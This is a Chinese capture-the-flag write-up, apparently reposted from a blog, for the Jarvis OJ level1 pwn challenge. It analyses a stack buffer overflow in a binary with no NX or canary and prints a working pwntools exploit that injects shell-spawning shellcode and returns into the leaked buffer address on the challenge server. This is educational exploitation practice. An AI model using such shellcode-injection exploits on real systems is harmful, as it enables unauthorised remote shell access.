Jarvis OJ - [XMAN]level1 - Writeup

M4x原创,转载请表明出处http://www.cnblogs.com/WangAoBo/p/7594173.html

题目:

分析

  • checksec检查保护机制如下,NX没开,可以通过执行shellcode来get shell

  • 拖到IDA中,查看函数的流程,vulnerable_function函数打印了缓冲区的起始地址,read可以读取0x100个字符,而buf到ret的偏移为0x88 + 0x4 < 0x100,而该elf又是No canary found。

  • 整理一下现有的信息:

    • 长度为0x100的缓冲区
    • 缓冲区的起始地址
    • 没有打开栈保护和NX保护

    因此,可以把shellcode填到以buf为起始地址的缓冲区里,并控制vulnerable_function返回到shellcode,就可以通过执行shellcode拿到shell,如下图

步骤

  • 经过如上分析,写出exp如下:

 #!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'M4x' from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux') shellcode = asm(shellcraft.sh())
# io = process('./level1')
io = remote('pwn2.jarvisoj.com', 9877)
text = io.recvline()[14: -2]
# print text[14:-2]
buf_addr = int(text, 16) payload = shellcode + '\x90' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
io.send(payload)
io.interactive()
io.close()

运行exp,拿到flag

最新文章

  1. css 字间距、CSS字体间距、css 字符间距设置
  2. QQ揭秘:如何实现窗体靠边隐藏?【低调赠送:QQ高仿版GG 4.2 最新源码】
  3. poj 2001:Shortest Prefixes(字典树,经典题,求最短唯一前缀)
  4. alpha发布之小组评论
  5. org.springframework.beans.factory.BeanDefinitionStoreException
  6. Cocos中的观察者设计模式与通知机制
  7. 基于邻接矩阵的广度优先搜索遍历(BFS)
  8. android使用tabhost实现导航
  9. cocos2d-x游戏开发(十七)NDK+ant编译暗黑世界
  10. [Codecademy] HTML&amp;CSS 第三课:HTML Basic II
  11. CentOS 6.4 + 曙光DS200 IPSan组建FTP服务器
  12. Stimulsoft报表操作笔记(一):统计
  13. python机器学习实战(一)
  14. 开源Spring解决方案--lm.solution
  15. 【easy】572. Subtree of Another Tree
  16. dynamic动态类型的扩展方法
  17. 查询MySQL数据库中表结构的几种方法
  18. ie11的版本判断
  19. Docker: connection reset by peer
  20. 如何注册Navicat for MySQL软件

热门文章

  1. 监控自己的电脑浏览器访问记录并生成csv格式
  2. Selenium实战(四)——unittest单元测试框架1
  3. IDEA 同时打开两个项目,相互引用
  4. LVS负载均衡工作模式和调度算法
  5. Spark kafka flume
  6. 同一服务器下发布两个不同网站(war包)的方法(这里采用的是二级域名的方法)
  7. Java不同单词个数统计
  8. Android中的消息处理机制
  9. Java同步和异步过程中消息语言国际化处理策略
  10. c#枚举转字典或表格